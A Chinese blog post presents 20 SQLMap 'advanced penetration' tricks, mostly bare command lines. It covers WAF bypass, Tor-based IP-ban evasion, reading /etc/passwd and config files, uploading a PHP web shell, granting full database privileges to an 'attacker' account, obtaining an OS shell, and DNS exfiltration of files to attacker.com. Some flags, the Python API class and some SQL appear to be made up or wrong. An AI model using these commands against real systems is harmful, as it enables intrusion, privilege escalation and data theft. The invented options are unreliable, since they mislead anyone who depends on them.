20个SQLMap进阶渗透技巧安全工程师必看手册！

原创于 2025-10-29 18:37:32 发布 · 768 阅读

CC 4.0 BY-SA版权

文章标签：

收藏必备！SQLMap进阶渗透技巧大全：安全工程师必备的20个实战技能

SQLMap是安全测试的瑞士军刀，本文整理了20个进阶渗透技巧，涵盖绕过WAF、二阶注入、盲注优化、权限提升等核心场景。通过多重编码、载荷定制、多线程优化、隐蔽渗透等方法，可大幅提升漏洞挖掘效率与深度，帮助安全工程师突破渗透瓶颈，适合从小白到专业人士参考学习。

20个SQLMap进阶渗透技巧安全工程师必看手册！

SQLMap是安全测试领域的瑞士军刀，掌握其进阶技巧能大幅提升漏洞挖掘效率与深度。本文整理20个高级用法，覆盖绕过WAF、二阶注入、自动化利用等核心场景，助你突破渗透瓶颈。

1. 绕过WAF的载荷篡改技巧

# 使用多重编码绕过过滤
sqlmap -u "http://target.com/vuln.php?id=1" --tamper=charencode,charunicodeencode

# 随机注释混淆检测规则
sqlmap -u "http://target.com" --tamper=randomcomments

# 利用超长UTF-8编码绕过检测
sqlmap -u "http://target.com" --tamper=overlongutf8

2. 精准定位二阶注入点

# 先记录包含注入点的请求
sqlmap -r request.txt --dbms=MySQL --second-order "http://target.com/process.php"

# 指定参数和数据库进行深度挖掘
sqlmap -r request.txt -p username --second-order "http://target.com/dashboard.php" -D users --dump

3. 基于Cookie/Session的注入

# 携带Cookie进行注入测试
sqlmap -u "http://target.com" --cookie="PHPSESSID=12345; auth=admin" --batch

# 针对Session参数注入
sqlmap -u "http://target.com" --session="sid=*" --level=5

4. 利用HTTP头注入点

# 测试User-Agent注入
sqlmap -u "http://target.com" --user-agent="*" --batch

# 测试X-Forwarded-For注入
sqlmap -u "http://target.com" --headers="X-Forwarded-For: *"

5. 定制化注入载荷

# 指定SQL查询执行
sqlmap -u "http://target.com/vuln.php?id=1" --sql-query="SELECT @@version"

# 加载自定义载荷文件
sqlmap -u "http://target.com" --payload-file=custom_payloads.txt

6. 无回显注入（盲注）优化

# 高速布尔盲注
sqlmap -u "http://target.com" --technique=B --threads=10 --batch

# 基于时间的盲注（针对无响应页面）
sqlmap -u "http://target.com" --technique=T --time-sec=5

7. 多线程与并发优化

# 提高并发请求数（需注意目标负载）
sqlmap -u "http://target.com" --threads=20 --batch

# 控制请求延迟（避免触发防护）
sqlmap -u "http://target.com" --delay=0.5

8. 绕过IP封禁限制

# 使用代理池轮换IP
sqlmap -u "http://target.com" --proxy="socks5://127.0.0.1:9050" --random-agent

# 伪造XFF头绕过封禁
sqlmap -u "http://target.com" --headers="X-Forwarded-For: $(shuf -n 1 ips.txt)"

9. 提取二进制文件

# 读取服务器文件
sqlmap -u "http://target.com/vuln.php?id=1" --file-read="/etc/passwd"

# 上传文件到服务器
sqlmap -u "http://target.com/vuln.php?id=1" --file-write="shell.php" --file-destination="/var/www/html/shell.php"

10. 数据库权限提升

# 检测当前用户权限
sqlmap -u "http://target.com" --is-dba

# 执行SQL命令提升权限
sqlmap -u "http://target.com" --sql-query="GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%'"

11. 自动化爬虫与漏洞发现

# 自动爬取并测试整个网站
sqlmap -u "http://target.com" --crawl=3 --batch --forms

# 仅测试特定目录
sqlmap -u "http://target.com/admin/" --crawl=1 --batch

12. 加密通信下的注入

# 测试HTTPS站点（忽略证书错误）
sqlmap -u "https://target.com" --batch --ignore-ssl-errors

# 测试需认证的API
sqlmap -u "https://api.target.com" --auth-type=Basic --auth-cred="user:pass"

13. 提取特定表数据

# 列出指定数据库的所有表
sqlmap -u "http://target.com" -D users --tables

# 转储特定表中的数据
sqlmap -u "http://target.com" -D users -T passwords --dump

14. 执行系统命令

# 获取OS Shell（需DBA权限）
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell

# 执行单个系统命令
sqlmap -u "http://target.com" --os-cmd="id"

15. 绕过JavaScript验证

# 携带特定请求头绕过JS验证
sqlmap -u "http://target.com" --headers="X-Requested-With: XMLHttpRequest"

# 自定义请求体格式
sqlmap -u "http://target.com" --data="json={\"id\":1}" --batch

16. 提取敏感配置

# 提取数据库配置文件
sqlmap -u "http://target.com/vuln.php?id=1" --file-read="/var/www/config.php"

# 获取环境变量
sqlmap -u "http://target.com" --sql-query="SHOW ENVIRONMENT VARIABLES"

17. 利用DNS外带数据

# DNS盲注（需控制DNS服务器）
sqlmap -u "http://target.com" --dns-domain="attacker.com" --technique=E

# 提取数据到DNS日志
sqlmap -u "http://target.com" --sql-query="SELECT LOAD_FILE('/etc/passwd')" --dns-domain="attacker.com"

18. 自定义预处理与后处理

# 请求预处理（添加动态令牌）
sqlmap -u "http://target.com" --preprocess=token_gen.py

# 响应后处理（提取敏感信息）
sqlmap -u "http://target.com" --postprocess=extract_info.py

19. 利用SQLMap的API模式

# Python调用SQLMap API示例
import sqlmapapi

api = sqlmapapi.SQLMapAPI()
task_id = api.start_task()
api.set_option(task_id, "url", "http://target.com/vuln.php?id=1")
api.set_option(task_id, "batch", True)
api.start_scan(task_id)

20. 隐蔽式渗透测试

# 降低检测风险的慢速模式
sqlmap -u "http://target.com" --risk=1 --level=1 --slow-clean

# 伪造正常用户行为
sqlmap -u "http://target.com" --random-agent --safe-url="http://target.com/index.html"